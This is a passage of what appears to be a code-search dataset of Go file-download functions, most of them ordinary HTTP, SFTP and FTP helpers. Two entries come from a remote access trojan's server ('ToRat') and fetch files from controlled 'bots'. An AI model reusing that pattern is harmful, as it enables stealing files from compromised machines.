yet\n\t\toutputFile, err := os.Create(filePath)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer outputFile.Close()\n\n\t\tresponse, err := http.Get(url)\n\t\tif err != nil {\n\t\t\toutputFile.Close()\n\t\t\treturn filePath, err\n\t\t}\n\t\tdefer response.Body.Close()\n\n\t\t//bar\n\t\tbar := pb.Full.Start(int(response.ContentLength))\n\t\tbarReader := bar.NewProxyReader(response.Body)\n\n\t\t_, err = io.Copy(outputFile, barReader)\n\t\toutputFile.Close()\n\t\tbar.Finish()\n\t\tif err != nil {\n\t\t\treturn filePath, err\n\t\t}\n\t}\n\n\treturn filePath, nil\n}", "func downloadFile(targetPath, url string) (_ string, errOut error) {\n\thasher := sha256.New()\n\terr := os.MkdirAll(filepath.Dir(targetPath), 0o750)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer deferErr(&errOut, resp.Body.Close)\n\tbodyReader := io.TeeReader(resp.Body, hasher)\n\tif resp.StatusCode >= 300 {\n\t\treturn \"\", fmt.Errorf(\"failed downloading %s\", url)\n\t}\n\tout, err := os.Create(targetPath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer deferErr(&errOut, out.Close)\n\t_, err = io.Copy(out, bodyReader)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsum := hex.EncodeToString(hasher.Sum(nil))\n\treturn sum, nil\n}", "func (u *UtilsImpl) DownloadFile(downloadDirectory, url string) (string, error) {\n\tfilename := path.Base(url)\n\tfilepath := path.Join(downloadDirectory, filename)\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn filename, err\n\t}\n\tdefer resp.Body.Close()\n\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn filename, err\n\t}\n\tdefer out.Close()\n\n\t_, err = io.Copy(out, resp.Body)\n\treturn filename, err\n}", "func (ffd *FakeFileDownloader) Download(url core.URL, filepath string) (*core.File, error) {\n\tffd.DownloadedFiles[url] = filepath\n\treturn &core.File{Path: filepath}, ffd.Err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// using *.tmp won't overwrite the file until the download is complete\n\tout, err := os.Create(filepath + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// go get the file\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// progress reporter\n\tcounter := &WriteCounter{}\n\tif _, err = io.Copy(out, io.TeeReader(resp.Body, counter)); err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\n\tfmt.Print(\"\\n\")\n\n\t// close the output file\n\tout.Close()\n\n\tif err = os.Rename(filepath+\".tmp\", filepath); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Download(url, dst string) error {\n\tf, err := os.Create(dst)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Could not download file\")\n\t}\n\tdefer f.Close()\n\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Could not request file\")\n\t}\n\tdefer response.Body.Close()\n\n\tif _, err = io.Copy(f, response.Body); err != nil {\n\t\treturn errors.Wrap(err, \"Could not write downloaded file\")\n\t}\n\n\treturn errors.Wrap(f.Sync(), \"Could not flush downloaded file\")\n}", "func DownloadFile(filename, url string) (string, error) {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create temp dir for download\n\ttmp := os.TempDir()\n\tpath := fmt.Sprintf(\"%s/%s\", tmp, filename)\n\n\t// Create the file\n\tout, err := os.Create(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn path, nil\n}", "func DownloadFile(filepath string, url string) (err error) {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fs.CheckClose(resp.Body, &err)\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"bad HTTP status %d (%s) when fetching %s\", resp.StatusCode, resp.Status, url)\n\t}\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fs.CheckClose(out, &err)\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Create the file, but give it a tmp file extension, this means we won't overwrite a\n\t// file until it's downloaded, but we'll remove the tmp extension once downloaded.\n\tout, err := os.Create(filepath + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create our progress reporter and pass it to be used alongside our writer\n\tcounter := &WriteCounter{}\n\t_, err = io.Copy(out, io.TeeReader(resp.Body, counter))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Print(\"\\n\")\n\n\terr = os.Rename(filepath+\".tmp\", filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn errors.New(\"file not found\")\n\t}\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func (ac *activeClient) Download(c *ishell.Context) {\n\tvar r shared.File\n\targ := strings.Join(c.Args, \" \")\n\n\tc.ProgressBar().Indeterminate(true)\n\tc.ProgressBar().Start()\n\n\terr := ac.RPC.Call(\"API.SendFile\", arg, &r)\n\tif err != nil {\n\t\tc.ProgressBar().Final(yellow(\"[\"+ac.Data().Name+\"] \") + red(\"[!] Download could not be sent to Server:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tdlPath := filepath.Join(ac.Data().Path, r.Fpath)\n\tdlDir, _ := filepath.Split(dlPath)\n\n\tif err := os.MkdirAll(dlDir, os.ModePerm); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Could not create directory path:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tif err := os.WriteFile(dlPath, r.Content, 0777); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Download failed to write to path:\", err))\n\t\tc.ProgressBar().Stop()\n\t\treturn\n\t}\n\n\tc.ProgressBar().Final(green(\"[Server] \") + green(\"[+] Download received\"))\n\tc.ProgressBar().Stop()\n}", "func download(URL, fPath string) error {\n\tisoReader, err := linkOpen(URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer isoReader.Close()\n\tf, err := os.Create(fPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tcounter := &WriteCounter{}\n\tif _, err = io.Copy(f, io.TeeReader(isoReader, counter)); err != nil {\n\t\treturn fmt.Errorf(\"Fail to copy iso to a persistent memory device: %v\", err)\n\t}\n\tfmt.Println(\"\\nDone!\")\n\tverbose(\"%q is downloaded at %q\\n\", URL, fPath)\n\treturn nil\n}", "func DownloadFile(destPath string, url string, progressBar bool) (err error) {\n\tif output.JSONOutput || !term.IsTerminal(int(os.Stdin.Fd())) {\n\t\tprogressBar = false\n\t}\n\t// Create the file\n\tout, err := os.Create(destPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer CheckClose(out)\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer CheckClose(resp.Body)\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"download link %s returned wrong status code: got %v want %v\", url, resp.StatusCode, http.StatusOK)\n\t}\n\treader := resp.Body\n\tif progressBar {\n\n\t\tbar := pb.New(int(resp.ContentLength)).SetUnits(pb.U_BYTES).Prefix(filepath.Base(destPath))\n\t\tbar.Start()\n\n\t\t// create proxy reader\n\t\treader = bar.NewProxyReader(resp.Body)\n\t\t// Writer the body to file\n\t\t_, err = io.Copy(out, reader)\n\t\tbar.Finish()\n\t} else {\n\t\t_, err = io.Copy(out, reader)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DownloadFile(filepath string, url string)(err error){\n //Get the data \n resp, err := http.Get(url)\n if err != nil {\n logs.Error(\"Error downloading file: \"+err.Error())\n return err\n }\n defer resp.Body.Close()\n // Create the file\n out, err := os.Create(filepath)\n if err != nil {\n logs.Error(\"Error creating file after download: \"+err.Error())\n return err\n }\n defer out.Close()\n\n // Write the body to file\n _, err = io.Copy(out, resp.Body)\n if err != nil {\n logs.Error(\"Error Copying downloaded file: \"+err.Error())\n return err\n }\n return nil\n}", "func DownloadFile(filepath string, url string) error {\n\n // Get the data\n resp, err := http.Get(url)\n if err != nil {\n //return err\n fmt.Println(\"Get the data\")\n }\n defer resp.Body.Close()\n\n // Create the file\n out, err := os.Create(filepath)\n if err != nil {\n fmt.Println(\"Create the file\")\n }\n defer out.Close()\n\n // Write the body to file\n _, err = io.Copy(out, resp.Body)\n return err\n}", "func (p *Post) Download(loc string) error {\n\tres, err := http.Get(p.FileURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tfileName := path.Join(loc, p.GetFileName())\n\n\tfh, err := os.Create(fileName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fh.Close()\n\n\t_, err = io.Copy(fh, res.Body)\n\treturn err\n}", "func DownloadFile(url string, filepath string) {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to download '%v': %v\\n\", url, err)\n\t\tos.Exit(1)\n\t}\n\tdefer resp.Body.Close()\n\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to create file '%s': %v\\n\", filepath, err)\n\t\tos.Exit(1)\n\t}\n\tdefer out.Close()\n\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to write file '%s': %v\\n\", filepath, err)\n\t\tos.Exit(1)\n\t}\n}", "func (c *Client) Download(url string, path string) error {\n\t// Get the data\n\tresp, err := c.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t_, err = os.Stat(path)\n\tif err == nil || os.IsExist(err) {\n\t\treturn os.ErrExist\n\t}\n\t// captures errors other than does not exist\n\tif err != nil && !os.IsNotExist(err) {\n\t\treturn err\n\t}\n\n\t// Create the file with .tmp extension, so that we won't overwrite a\n\t// file until it's downloaded fully\n\tout, err := os.Create(path + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Create our bytes counter and pass it to be used alongside our writer\n\tcounter := &writeCounter{Name: filepath.Base(path)}\n\t_, err = io.Copy(out, io.TeeReader(resp.Body, counter))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Println()\n\n\t// Rename the tmp file back to the original file\n\terr = os.Rename(path+\".tmp\", path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (c *Client) Download(path string) ([]byte, error) {\n\tpathUrl, err := url.Parse(fmt.Sprintf(\"files/%s/%s\", c.Username, path))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Create the https request\n\n\t_, content, err := c.sendRequest(\"GET\", c.Url.ResolveReference(pathUrl).String(), nil, nil, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn content, nil\n}", "func (c *Client) Download(remote, local string) error {\n\tclient, err := sftp.NewClient(c.SSHClient)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer client.Close()\n\n\tremoteFile, err := client.Open(remote)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer remoteFile.Close()\n\n\tlocalFile, err := os.Create(local)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer localFile.Close()\n\n\t_, err = io.Copy(localFile, remoteFile)\n\treturn err\n}", "func DownloadFile(url string, filepath string) error {\n\t// Create the file with .tmp extension, so that we won't overwrite a\n\t// file until it's downloaded fully\n\tout, err := os.Create(filepath + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create our bytes counter and pass it to be used alongside our writer\n\tcounter := &WriteCounter{}\n\t_, err = io.Copy(out, io.TeeReader(resp.Body, counter))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Println(\"\\n\" + filepath + \" downloaded.\")\n\tout.Close() // close the file after writing data to it\n\n\t// Rename the tmp file back to the original file\n\terr = os.Rename(filepath+\".tmp\", filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DownloadFile(url, name, directory string) error {\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode == http.StatusNotFound {\n\t\treturn errors.New(url + \" not found\")\n\t}\n\tdefer resp.Body.Close()\n\n\tout, err := os.Create(path.Join(directory, name))\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func (c *Connection) DownloadFile(src, dest, mode string, timeout uint) error {\n\t// Use PASV to set up the data port.\n\tpasvCode, pasvLine, err := c.Cmd(\"PASV\", \"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tpasvErr := checkResponseCode(2, pasvCode)\n\tif pasvErr != nil {\n\t\tmsg := fmt.Sprintf(\"Cannot set PASV. Error: %v\", pasvErr)\n\t\treturn fmt.Errorf(msg)\n\t}\n\tdataPort, err := extractDataPort(pasvLine)\n\t/*_, err = extractDataPort(pasvLine)*/\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set the TYPE (ASCII or Binary)\n\ttypeCode, typeLine, err := c.Cmd(\"TYPE\", mode)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttypeErr := checkResponseCode(2, typeCode)\n\tif typeErr != nil {\n\t\tmsg := fmt.Sprintf(\"Cannot set TYPE. Error: '%v'. Line: '%v'\", typeErr, typeLine)\n\t\treturn fmt.Errorf(msg)\n\t}\n\n\t// Can't use Cmd() for RETR because it doesn't return until *after* you've\n\t// downloaded the requested file.\n\tcommand := []byte(\"RETR \" + src + CRLF)\n\t_, err = c.control.Write(command)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Open connection to remote data port.\n\tremoteConnectString := c.hostname + \":\" + fmt.Sprintf(\"%d\", dataPort)\n\tdownloadConn, err := net.Dial(\"tcp\", remoteConnectString)\n\tdefer downloadConn.Close()\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Couldn't connect to server's remote data port. Error: %v\", err)\n\t\treturn fmt.Errorf(msg)\n\t}\n\n\t// Set up the destination file\n\tvar filePerms = os.FileMode(0664)\n\tdestFile, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY, filePerms)\n\tdefer destFile.Close()\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Cannot open destination file, '%s'. %v\", dest, err)\n\t\treturn fmt.Errorf(msg)\n\t}\n\n\t// Buffer for downloading and writing to file\n\tbufLen := 1024\n\tbuf := make([]byte, bufLen)\n\n\tif timeout > 0 {\n\t\tsetReadDeadline(downloadConn, timeout)\n\t}\n\n\t// Read from the server and write the contents to a file\n\tfor {\n\t\tbytesRead, readErr := downloadConn.Read(buf)\n\t\tif bytesRead > 0 {\n\t\t\t_, err := destFile.Write(buf[0:bytesRead])\n\t\t\tif err != nil {\n\t\t\t\tmsg := fmt.Sprintf(\"Coudn't write to file, '%s'. Error: %v\", dest, err)\n\t\t\t\treturn fmt.Errorf(msg)\n\t\t\t}\n\t\t}\n\t\tif readErr == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif readErr != nil {\n\t\t\treturn readErr\n\t\t}\n\t}\n\treturn nil\n}", "func download(url string) (string, error) {\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfilename, err := urlToFilename(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, resp.Body)\n\treturn filename, err\n}", "func downloadFile(filepath string, url string, t time.Time) error {\n\tfmt.Printf(\"downloadPhoto file into: %s \\n from url: %s\\n\", filepath, url)\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = os.Chtimes(filepath, t, t)\n\tif err != nil {\n\t\tfmt.Printf(\"chtimes err: %s\\n\", err.Error())\n\t}\n\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Create the file, but give it a tmp file extension, this means we won't overwrite a\n\t// file until it's downloaded, but we'll remove the tmp extension once downloaded.\n\tout, err := os.Create(filepath + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create our progress reporter and pass it to be used alongside our writer\n\tcounter := &WriteCounter{}\n\tif _, err = io.Copy(out, io.TeeReader(resp.Body, counter)); err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Print(\"\\n\")\n\n\t// Close the file without defer so it can happen before Rename()\n\tout.Close()\n\n\tif err = os.Rename(filepath+\".tmp\", filepath); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Download(fileName string, url string) {\n\tresponse, err := http.Get(url)\n\tcheckError(err, \"print\")\n\tdefer response.Body.Close()\n\n\tfile, err := os.Create(fileName + \".temp\")\n\tcheckError(err, \"print\")\n\tdefer file.Close()\n\n\t//counter := &humanize.WriteCounter{}\n\t_, err = io.Copy(file, response.Body)\n\tcheckError(err, \"print\")\n\n\terr = os.Rename(fileName+\".temp\", fileName)\n\tcheckError(err, \"print\")\t\n}", "func DownloadFile(url, path string) {\n\tresp, err := http.DefaultClient.Get(url)\n\tlogger.Process(err, \"Failed to download a file by pre-signed URL\")\n\tdefer func() {\n\t\t// Drain and close the body to let the Transport reuse the connection\n\t\tio.Copy(ioutil.Discard, resp.Body)\n\t\tresp.Body.Close()\n\t}()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tlogger.Process(err, \"Failed to get a body from HTTP request\")\n\terr = ioutil.WriteFile(path, body, 0777)\n\tlogger.Process(err, \"Failed to create a file from a body of HTTP request\")\n}", "func (s KWSession) FileDownload(file *KiteObject) (ReadSeekCloser, error) {\n\tif file == nil {\n\t\treturn nil, fmt.Errorf(\"nil file object provided.\")\n\t}\n\n\treq, err := s.NewRequest(\"GET\", SetPath(\"/rest/files/%d/content\", file.ID))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Set(\"X-Accellion-Version\", fmt.Sprintf(\"%d\", 7))\n\n\terr = s.SetToken(s.Username, req)\n\n\treturn transferMonitor(file.Name, file.Size, rightToLeft, s.Download(req)), err\n}", "func Download(link string, ch chan string) {\n\tlog.Println(\"Got request to download\", link)\n\tresp, err := http.Get(link)\n\tif err != nil {\n\t\tlog.Println(\"ERROR: fetching link\", link, err)\n\t\tch <- \"ERROR\"\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tlog.Println(\"Got body for link\", link)\n\tfilename := hash(link)\n\terr = ioutil.WriteFile(filename, body, 0777)\n\tif err != nil {\n\t\tlog.Println(\"ERROR: enable to save file\", link, len(body), err)\n\t\tch <- \"ERROR\"\n\t\treturn\n\t}\n\tlog.Println(\"Got file saved\", filename)\n\tch <- filename\n}", "func (c *Client) DownloadDownload(ctx context.Context, filename, dest string) (int64, error) {\n\tscheme := c.Scheme\n\tif scheme == \"\" {\n\t\tscheme = \"http\"\n\t}\n\tp := path.Join(\"/download/\", filename)\n\tu := url.URL{Host: c.Host, Scheme: scheme, Path: p}\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tresp, err := c.Client.Do(ctx, req)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif resp.StatusCode != 200 {\n\t\tvar body string\n\t\tif b, err := ioutil.ReadAll(resp.Body); err != nil {\n\t\t\tif len(b) > 0 {\n\t\t\t\tbody = \": \" + string(b)\n\t\t\t}\n\t\t}\n\t\treturn 0, fmt.Errorf(\"%s%s\", resp.Status, body)\n\t}\n\tdefer resp.Body.Close()\n\tout, err := os.Create(dest)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer out.Close()\n\treturn io.Copy(out, resp.Body)\n}", "func downloadRemoteFile(from, user, pwd string) (string, error) {\n\t//download content from remote http url.\n\tclient := http.Client{\n\t\tTimeout: time.Duration(120 * time.Second),\n\t}\n\n\trequest, err := http.NewRequest(\"GET\", from, nil)\n\tif err != nil {\n\t\tblog.Errorf(\"http NewRequest %s error %s\", from, err.Error())\n\t\treturn \"\", err\n\t}\n\n\tif len(user) != 0 {\n\t\trequest.SetBasicAuth(user, pwd)\n\t}\n\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\tblog.Errorf(\"download remote file %s error %s\", from, err.Error())\n\t\treturn \"\", err\n\t}\n\tdefer response.Body.Close()\n\n\tdata, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tblog.Errorf(\"read url %s response body error %s\", from, err.Error())\n\t\treturn \"\", err\n\t}\n\n\tif response.StatusCode != http.StatusOK {\n\t\tblog.Errorf(\"request url %s response statuscode %d body %s\", from, response.StatusCode, string(data))\n\t\treturn \"\", fmt.Errorf(\"request url %s response statuscode %d body %s\", from, response.StatusCode, string(data))\n\t}\n\n\treturn string(data), nil\n}", "func DownloadFile(filepath string, url string) error {\n\t// Create the file, but give it a tmp file extension, this means we won't overwrite a\n\t// file until it's downloaded, but we'll remove the tmp extension once downloaded.\n\tout, err := os.Create(filepath + \".tmp\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create our progress reporter and pass it to be used alongside our writer\n\tcounter := &WriteCounter{}\n\tif _, err = io.Copy(out, io.TeeReader(resp.Body, counter)); err != nil {\n\t\tout.Close()\n\t\treturn err\n\t}\n\n\t// The progress use the same line so print a new line once it's finished downloading\n\tfmt.Print(\"\\n\")\n\n\t// Close the file without defer so it can happen before Rename()\n\tout.Close()\n\n\tif err = os.Rename(filepath+\".tmp\", filepath); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (i *invocation) downloadFile(dest, snapshotBase, uri string) error {\n\tif _, err := os.Stat(dest); err == nil {\n\t\treturn nil // file already exists\n\t}\n\treturn write.Atomically(dest, func(w io.Writer) error {\n\t\t// Try to download the file from the mirror first:\n\t\ti.V().Printf(\"downloading %s\", uri)\n\t\treq, err := http.NewRequest(\"GET\", uri, nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq.Header.Set(\"User-Agent\", \"pk4\")\n\t\tresp, err := http.DefaultClient.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif got, want := resp.StatusCode, http.StatusOK; got != want {\n\t\t\t// Discard the Body (for Keep-Alive).\n\t\t\tioutil.ReadAll(resp.Body)\n\t\t\tresp.Body.Close()\n\t\t\tif snapshotBase == \"\" {\n\t\t\t\treturn fmt.Errorf(\"unexpected HTTP status code: got %d, want %d\", got, want)\n\t\t\t}\n\n\t\t\tu, _ := url.Parse(snapshotBase)\n\t\t\tu.Path = path.Join(u.Path, strings.TrimPrefix(uri, i.mirrorUrl+\"/\"))\n\t\t\ti.V().Printf(\"HTTP %d, falling back to %s\", got, u.String())\n\t\t\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tresp, err = http.DefaultClient.Do(req)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif got, want := resp.StatusCode, http.StatusOK; got != want {\n\t\t\t\treturn fmt.Errorf(\"unexpected HTTP status code: got %d, want %d\", got, want)\n\t\t\t}\n\t\t}\n\t\tif _, err := io.Copy(w, resp.Body); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t})\n}", "func DownloadFile(client *http.Client, url, filepath string) (string, error) {\n\n\tlog.Println(\"Downloading\")\n\n\tresp, err := client.Get(url)\n\tif err != nil {\n\t\tlog.Printf(\"error: GET, %s\", err)\n\t\treturn \"\", err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\t\treturn \"\", fmt.Errorf(\"Received non 200 response code\")\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Printf(\"error: READ, %s\", err)\n\t\treturn \"\", err\n\t}\n\n\t// Create blank file\n\t//file, err := os.Create(filepath)\n\t//file, err := os.OpenFile(filepath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\t//if err != nil {\n\t//\treturn \"\", err\n\t//}\n\n\t//buff := make([]byte, 4096)\n\n\t//for {\n\t//\tnread, err := resp.Body.Read(buff)\n\t//\tif nread == 0 {\n\t//\t\tif err == nil {\n\t//\t\t\tcontinue\n\t//\t\t}\n\t//\t\tif _, err := file.Write(buff); err != nil {\n\t//\t\t\tbreak\n\t//\t\t}\n\t//\t\tif err != nil {\n\t//\t\t\tbreak\n\t//\t\t}\n\t//\t}\n\t//}\n\t////size, err := io.Copy(file, resp.Body)\n\t//defer file.Close()\n\n\t////if err != nil {\n\t////\tlog.Printf(\"error: WRITE, %s\", err)\n\t////\treturn \"\", err\n\t////}\n\t//statsFile, err := file.Stat()\n\t//log.Printf(\"Downloaded a file %s with size %d\", filepath, statsFile.Size())\n\n\tif err := ioutil.WriteFile(filepath, body, 0644); err != nil {\n\t\tlog.Printf(\"error: WRITE, %s\", err)\n\t\treturn \"\", err\n\t}\n\n\t//content, err := ioutil.ReadAll(file)\n\t//if err != nil {\n\t//\tlog.Printf(\"error: READ, %s\", err)\n\t//\treturn \"\", err\n\t//}\n\n\tmd5sum := md5.Sum(body)\n\tmd5s := hex.EncodeToString(md5sum[0:])\n\n\treturn md5s, nil\n}", "func (client *activeClient) Download(c *ishell.Context) {\n\tvar r shared.File\n\targ := strings.Join(c.Args, \" \")\n\n\tc.ProgressBar().Indeterminate(true)\n\tc.ProgressBar().Start()\n\n\terr := client.RPC.Call(\"API.SendFile\", arg, &r)\n\tif err != nil {\n\t\tc.ProgressBar().Final(yellow(\"[\"+client.Client.Name+\"] \") + red(\"[!] Download could not be sent to Server!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(yellow(\"[\"+client.Client.Name+\"] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tdlPath := filepath.Join(\"/ToRat/cmd/server/bots/\", client.Client.Hostname, r.Fpath)\n\tdlDir, _ := filepath.Split(dlPath)\n\n\tif err := os.MkdirAll(dlDir, os.ModePerm); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Could not create directory path!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(green(\"[Server] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tif err := ioutil.WriteFile(dlPath, r.Content, 0600); err != nil {\n\t\tc.ProgressBar().Final(green(\"[Server] \") + red(\"[!] Download failed to write to path!\"))\n\t\tc.ProgressBar().Stop()\n\t\tc.Println(green(\"[Server] \") + red(\"[!] \", err))\n\t\treturn\n\t}\n\n\tc.ProgressBar().Final(green(\"[Server] \") + green(\"[+] Download received\"))\n\tc.ProgressBar().Stop()\n}", "func (mc *MockClient) DownloadFile(Url, filename string, header http.Header, cookies []*http.Cookie) error {\n\treturn nil\n}", "func DownloadFile(url string, filename string) error {\r\n\t// crea archivo temporal para no sobreescribir alguno con el mismo nombre\r\n\tout, err := os.Create(filename + \".tmp\")\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tdefer out.Close()\r\n\r\n\t// Obtiene datos de URL\r\n\tresp, err := http.Get(url)\r\n\tif err != nil {\r\n\t\treturn 